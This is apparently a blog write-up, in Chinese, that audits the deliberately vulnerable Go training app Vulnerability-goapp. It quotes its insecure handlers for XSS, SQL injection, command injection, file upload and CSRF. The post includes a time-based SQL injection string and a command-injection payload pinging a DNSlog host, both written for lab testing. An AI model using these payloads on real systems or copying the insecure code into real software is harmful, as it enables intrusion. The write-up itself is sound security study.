Vulnerability-goapp-Go代码学习

  • A+

背景

查找资料,学习golang的代码审计。漏洞类型是相似的,主要是学习golang漏洞代码中的表现形式。

Vulnerability-goapp是模拟漏洞的一个靶场。

搭建

作者提供docker,不建议使用源码(作者数据库结构没给,而且数据库连接一大堆地方。。。。)。

bash
git clone https://github.com/Hardw01f/Vulnerability-goapp.git
cd Vulnerability-goapp
docker-compose up -d

代码分析

目录遍历

访问main.go入口文件,看见如下代码:

golang
// http.Handle 路由 http.StripPrefix 进行路径分层(处理映射) http.FileServer 显示当亲路径
http.Handle("/assets/", http.StripPrefix("/assets/", http.FileServer(http.Dir("assets/"))))

image.png

反射型XSS - 【一】

mian.go

```
...
http.HandleFunc("/", sayYourName) // 当前网址执行 sayYourName 函数
...
...
func sayYourName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() // 解析表单
fmt.Println(r.Form)
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println("r.Form", r.Form)
fmt.Println("r.Form[name]", r.Form["name"])
var Name string
for k, v := range r.Form { // 遍历提交数据键值对
fmt.Println("key:", k)
Name = strings.Join(v, ",")
}
fmt.Println(Name)
fmt.Fprintf(w, Name) // 输出,存在XSS
}
...

```

image.png

存储型XSS - 【一】

在login界面找到注册请求是/new,在main.go中查找路由

```
http.HandleFunc("/new", register.NewUserRegister)

```

跟进函数 /pkg/register.go

```
func NewUserRegister(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
t, _ := template.ParseFiles("./views/public/new.gtpl")
t.Execute(w, nil)
} else if r.Method == "POST" {
r.ParseForm()
fmt.Println(r.FormValue("mail"))
fmt.Println(r.FormValue("name"))
fmt.Println(r.FormValue("age"))
fmt.Println(r.FormValue("passwd"))
if CheckUserDeplicate(r.FormValue("mail")) { // 检查邮件是否重复

        if RegisterUser(r) {                                                        // 跟进 RegisterUser

...
...

func RegisterUser(r *http.Request) bool {
db, err := sql.Open("mysql", "root:[email protected](mysql)/vulnapp") // 连接数据库
if err != nil {
log.Fatal(err)
}

age, err := strconv.Atoi(r.FormValue("age"))
if err != nil {
    fmt.Println(err)
    return false
}
// 向表格中插入新的行 这里我们写入什么数据就直接执行  
_, err = db.Exec("insert into user (name,mail,age,passwd) value(?,?,?,?)", r.FormValue("name"), r.FormValue("mail"), age, r.FormValue("passwd"))
if err != nil {
    fmt.Println(err)
    return false
}
return true

}
```

image.png

触发点在top路由:

```
...

http.HandleFunc("/top", showUserTopPage)

...
...

func showUserTopPage(w http.ResponseWriter, r *http.Request) {
userName, sessionID, userID, err := cookie.GetUserIDFromCookie(r) // GetUserIDFromCookie 从数据库中请求
if err != nil {
fmt.Println(err)
}
if cookie.CheckSessionsCount(userID, sessionID) {
login.StoreSID(userID, sessionID)
} else {
fmt.Println("not register sessionID")
}
if sessionID == "" {
fmt.Println("sid not exist")
t, _ := template.ParseFiles("./views/public/error.gtpl")
t.Execute(w, nil)
} else {
if r.Method == "GET" {
if userID != 0 {
uid := strconv.Itoa(userID)
cookieUserID := &http.Cookie{
Name: "UserID",
Value: uid,
}

            deleAdminID := &http.Cookie{
                Name:  "adminSID",
                Value: "",
            }

            http.SetCookie(w, cookieUserID)
            http.SetCookie(w, deleAdminID)
            p := Person{UserName: userName}        // 没有过滤,
            t, _ := template.ParseFiles("./views/public/top.gtpl")
            t.Execute(w, p)
        }
    } else {
        http.NotFound(w, r)
    }
}

}
```

以此类推,后台后很多的触发点。

存储型XSS - 【二】

后台用户编辑处存在XSS,路由为/profile/edit/confirm

http.HandleFunc("/profile/edit/confirm", user.ShowEditConfirm)

跟进 usermanager.go

```
func ShowEditConfirm(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
if cookie.CheckSessionID(r) {
fmt.Println(r.Referer())
userName := r.FormValue("username")
age := r.FormValue("age")
mail := r.FormValue("mail")
fmt.Println("mail : ", mail)
address := r.FormValue("address")

animal := r.FormValue("animal")
word := r.FormValue("word")
userAge, err := strconv.Atoi(age)
if err != nil {
fmt.Printf("%+v\n", err)
}
, , uid, err := cookie.GetCookieValue(r)
if err != nil {
fmt.Printf("%+v\n", err)
http.NotFound(w, nil)
return
}

        userMail, _, err := GetUserInfos(uid)
        if err != nil {
            fmt.Printf("%+v", err)
        }

        userImage, _, _, _, err := GetUserMoreDetails(uid)
        if err != nil {
            fmt.Printf("%+v", err)
            http.NotFound(w, nil)
            return
        }

        u := User{UserName: userName, Mail: userMail, Age: userAge, Image: userImage, Address: address, Animal: animal, Word: word}

        t, _ := template.ParseFiles("./views/users/users_confirm.gtpl")
        t.Execute(w, u)  // 没有过滤 直接引用
    }
} else {
    http.NotFound(w, nil)
}

}
```

image.png

SQL注入 - 【一】

漏洞形成原理都是相通的,参数过滤没做好导致能执行sql语句(话说实战不会有人用命令行执行SQL语句吧,,)。

跟进search.go

```
func SearchPosts(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
searchWord := r.FormValue("post")
fmt.Println("value : ", searchWord)
testStr := "mysql -h mysql -u root -prootwolf -e 'select post,created_at from vulnapp.posts where post like \"%" + searchWord + "%\"'"

    fmt.Println(testStr)

    testres, err := exec.Command("sh", "-c", testStr).Output()
    ...

```

使用命令执行sql语句,searchWord 并且没有过滤。

123%" and sleep(10)#

跟踪数据,存在于搜索界面:

image.png

命令执行 - 【一】

这里大部分数据库查询使用的是exec.Command函数在命令行执行,如果参数可控就可能造成命令执行,跟进search.go

```
func SearchPosts(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
searchWord := r.FormValue("post")
fmt.Println("value : ", searchWord)
testStr := "mysql -h mysql -u root -prootwolf -e 'select post,created_at from vulnapp.posts where post like \"%" + searchWord + "%\"'"

    fmt.Println(testStr)

    testres, err := exec.Command("sh", "-c", testStr).Output()
    ...

```

构造命令执行语句,因为没回显,这里用DNSlog测试:

"'|ping alxaep.dnslog.cn|'"

执行的时候需要编码一次(其他地方漏洞类似,就不重复举例子了):

image.png

任意文件上传

main.go

http.HandleFunc("/profile/edit/upload", uploader.UploadImage)

跟进

```
func UploadImage(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
err := r.ParseMultipartForm(32 << 20) // 解析请求数据
if err != nil {
fmt.Printf("%+v\n", err)
return
}
if cookie.CheckSessionID(r) {
file, handler, err := r.FormFile("uploadfile") // 解析数据格式,返回文件内容名字错误信息
if err != nil {
fmt.Printf("%+v\n", err)
return
}
defer file.Close()
f, err := os.OpenFile("./assets/img/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Printf("%+v\n", err)
return
}
defer f.Close()
io.Copy(f, file) // 写入内容
UpdateDatabase(r, handler.Filename)

        http.Redirect(w, r, "/profile", 301)
    }
} else {
    http.NotFound(w, nil)
}

}
```

上传文件名没有进行审核,导致任意文件上传漏洞

image.png

文件也可以通过“../../”形式进行跨目录上传。

CSRF - 【一】

存在很多处,比如密码修改和提交留言的地方,之类以提交留言为例子,使用burp生成CSRF的POC进行测试

image.png

跟进 post.go 中的 ShowTimeline 函数

```
unc ShowTimeline(w http.ResponseWriter, r *http.Request) {
...
} else if r.Method == "POST" {
if cookie.CheckSessionID(r) { // 只是检查了cookie,没有防止CSRF的地方
, , uid, err := cookie.GetCookieValue(r)
if err != nil {
fmt.Printf("%+v\n", err)
http.NotFound(w, nil)
return
}

        fmt.Println(uid, r.FormValue("post"))

        postText := r.FormValue("post")

        fmt.Println(reflect.TypeOf(postText))

        StorePost(uid, postText)

        http.Redirect(w, r, "/timeline", 301)
...

```

其他

还存在一些越权漏洞主要参数都在cookie里面可以进行随意改动导致的越权,有些重复也没写,。

虽然代码乱糟糟的,但是总而言之还是学到了一些东西的,算是golang审计的一个小入门。